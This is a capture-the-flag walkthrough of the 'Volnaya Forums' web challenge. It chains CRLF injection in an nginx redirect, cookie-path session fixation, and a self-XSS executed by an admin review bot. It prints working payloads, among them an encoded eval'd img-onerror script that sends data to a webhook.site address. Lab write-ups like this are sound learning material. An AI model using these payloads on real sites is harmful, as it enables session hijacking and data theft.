Volnaya Forums (medium) challenge walk through
I’m going to start by simply exploring the application and understanding possible attack surfaces as well as noting the tech stack used.
Homepage view:

I opened a discussion and immediately saw a reply functionality, unfortunately not very useful because the account has to be verified:
Besides that, there is also a report functionality which an unverified user has access to, after submitting a report I am notified that it has been reported to the moderators. Based on previous lab experience I am guessing there is some sort of bot set up in the background that will checkout the URL provided in the ‘Post Thread’ field (potentially with elavated privileges), so i’m keeping this in mind.

Besides the report functionality, the ‘Homepage’ and ‘Topic’ page have no other interesting feature, so I will check out the profile page next. Interestingly enough, I am not able to look at other user’s profiles, so it seems to be only visible to me. Despite that, i’m going to have a look at what happens when I update each of the fields:

In order to inspect the request we are sending, I turned to burp suite.
Looking at the request we can see some interesting things.
For one, the user seems to be authenticated using a session token. Secondly, the request reaches /api/profile (will checkout code next), and lastly, the bio field sends along a html p tag.

Besides this I haven’t really found anything noteworthy so next I will have a look at the source code and try find where the flag will be returned from.
White box recon
Under the config folder, we see an nginx.conf file:

The most interesting aspect of this file is the redirect. It basically says, for any incoming request that has the URL /invite/{id}, redirect immediately to /?ref=${id}.
I see that the id value provided in the /invite/id endpoint is used directly in the response from nginx. Because the value is user-controlled and unsanitized, we can attempt CRLF injection, alongside a malicious HTTP header. Combining this with the earlier /profile page which seemed to be private, I note down the potential for a session fixation attack and give it a try:

To no suprise, the response included the session token provided in the URL. Explaining the payload:
/invite/%0D%0ASet-Cookie:%20session=Fe26.2*1*da2860e325d099d38c8206b9c4d13a63a33a6ef0045bc226f572d4d1d517ac9c*QViffAv3Nmi2cGkMbDESZw*JLPfXYShcYcB_cmcjRzYJjpEW9rigljAZ-BK02iJGpD8QoxEOkC7eWLDT5Ya_E1ehw884W0_dVrzAIgkZm2WZp1gIwVniJ3drvRxi12BAas*1770215392281*160f851ffe042daca9235022b6c52eb36911666c511bd4cec35dea7d0a440fab*jM-4Pje4uAE5AJPzCquMq-DE1i2YSE0c968cYPGbhEU~2
%0D%0A -> precent encoded CRLF (\r\n)
Set-Cookie: -> my injected header
%20 -> percent encoded space (HTTP header syntax required space after header key)
Fe26.2*1*da2860e325d099d38c8206b9c4d13a63a33a6ef0045bc226f572d4d1d517ac9c*QViffAv3Nmi2cGkMbDESZw*JLPfXYShcYcB_cmcjRzYJjpEW9rigljAZ-BK02iJGpD8QoxEOkC7eWLDT5Ya_E1ehw884W0_dVrzAIgkZm2WZp1gIwVniJ3drvRxi12BAas*1770215392281*160f851ffe042daca9235022b6c52eb36911666c511bd4cec35dea7d0a440fab*jM-4Pje4uAE5AJPzCquMq-DE1i2YSE0c968cYPGbhEU~2 -> my session token (retrieved from cookies tab)
I moved on to look at the other files.
I find the middleware.ts file:

Evidently the isAuthenticated function checks whether the user is authenticated so I have a look to see how it’s structured, but unfortunately it seems to be built keeping SQL injection vulnerabilities in mind:

In the same folder, however, I find a bot.ts file which looks juicy because the bot is given admin privileges when reviewing the report where the URL the bot visits is also user-controlled. Definitely noteworthy because I can basically control which page the bot visits with elevated privileges.
After a user is logged in, they are sent to the /home page, however, if the user is logged in already and doesn’t go through the login flow, they are sent to the profile page:

I decided to have another look at the fields on the profile page to see if there is any possibility of XSS, given that the intercepted request earlier showed the bio field’s value to be within a html p tag which I might be able to simply remove.

The username field cannot be changed. So i’ll undo it and try again.

After reloading I see that the bio is vulnerable to xss. However given that the profile page of another user cannot be accessed by anyone else, this is classified as self-xss.

To recap, we have self-xss and a potentially vulnerable Nginx redirect we can use for CRLF injection to inject a malicious header.
I took a look at the /api/auth.ts endpoint and see that in order to solve this lab, we need to make a request to this endpoint with an admin account.
Since I found out that the bot will be given the admin role (required for the flag), and I can do a session fixation attack due to the CLRF injection vulnerability in the nginx.conf file, the exploit chain I can come up with is as follows: I will submit a report which points to the /invite/{} route, where I will use session fixation to inject my own session token (scoped only to the profile page using Path: /api/profile;), when the bot is triggered, it will log in as admin, and checkout the route I provided. Nginx will then redirect the bot to the /, where index.tsx will run an authentication check, and because the bot will be logged in, it will be redirected again to the profile page, where the scoped malicious session will cause the malicious profile to load which has an XSS vulnerability which will be exploited to make yet another check to /api/auth, and since the malicious token will be scoped to only the /api/profile endpoint, the request to /api/auth will be done with the admin token and the flag will be returned.
Building the self-xss payload:
fetch("/api/auth").then(res => res.json()).then(data => new Image().src = `https://webhook.site/fb09cdab-da5a-4100-8a83-1f6785fa2e99?flag=${data.user.flag}`)
When the code makes the request to /api/auth, it will only be visible to the bot, which means we need it to send the flag to an external public endpoint which we have control over. I decided to use webhook.site because it’s simple and free. I could have also used a VPS or an Ngrok server. As seen in response from the /api/auth endpoint,t he flag will be available under data.user.flag.
Naturally, the exploit will go through multiple transformation layers, which means this will not work (yet). We need to first base64 encode it so we are left with only ASCII characters that will not affected by escaping, serializing, or rendering:
echo 'fetch("/api/auth").then(res => res.json()).then(data => new Image().src = `https://webhook.site/fb09cdab-da5a-4100-8a83-1f6785fa2e99?flag=${data.user.flag}`)' | base64
# Result:
ZmV0Y2goIi9hcGkvYXV0aCIpLnRoZW4ocmVzID0+IHJlcy5qc29uKCkpLnRoZW4oZGF0YSA9PiBu
ZXcgSW1hZ2UoKS5zcmMgPSBgaHR0cHM6Ly93ZWJob29rLnNpdGUvZmIwOWNkYWItZGE1YS00MTAw
LThhODMtMWY2Nzg1ZmEyZTk5P2ZsYWc9JHtkYXRhLnVzZXIuZmxhZ31gKQo=
Before I continue, I want to make sure that the brower is allowed to fetch external resources. I will do this by making a simpler payload:
echo 'fetch("https://webhook.site/fb09cdab-da5a-4100-8a83-1f6785fa2e99")' | base64
// Result: ZmV0Y2goImh0dHBzOi8vd2ViaG9vay5zaXRlL2ZiMDljZGFiLWRhNWEtNDEwMC04YTgzLTFmNjc4NWZhMmU5OSIpCg==

Sure enough, after submitting and reloading the page, I get a hit on webhook.site (1):

Continuing…
We can very easily convert the code snippet back to a string using:
atob('ZmV0Y2goIi9hcGkvYXV0aCIpLnRoZW4ocmVzID0+IHJlcy5qc29uKCkpLnRoZW4oZGF0YSA9PiBuZXcgSW1hZ2UoKS5zcmMgPSBgaHR0cHM6Ly93ZWJob29rLnNpdGUvZmIwOWNkYWItZGE1YS00MTAwLThhODMtMWY2Nzg1ZmEyZTk5P2ZsYWc9JHtkYXRhLnVzZXIuZmxhZ31gKQo=')
// Result: 'fetch("/api/auth").then(res => res.json()).then(data => new Image().src = `https://webhook.site/fb09cdab-da5a-4100-8a83-1f6785fa2e99?flag=${data.user.flag}`)'
Which can then be executed in the browser using eval( <js here> )
So the final self-xss payload I am going to use is as follows:
<img src=x onerror=eval(atob('ZmV0Y2goIi9hcGkvYXV0aCIpLnRoZW4ocmVzID0+IHJlcy5qc29uKCkpLnRoZW4oZGF0YSA9PiBuZXcgSW1hZ2UoKS5zcmMgPSBgaHR0cHM6Ly93ZWJob29rLnNpdGUvZmIwOWNkYWItZGE1YS00MTAwLThhODMtMWY2Nzg1ZmEyZTk5P2ZsYWc9JHtkYXRhLnVzZXIuZmxhZ31gKQo=')) >
Note: src=x -> results in a error because x is invalid, which calls the ‘onerror’ function.
Exploiting the session fixation vulnerability through CRLF injection:

Once I click submit, the flag is sent to webhook.site:
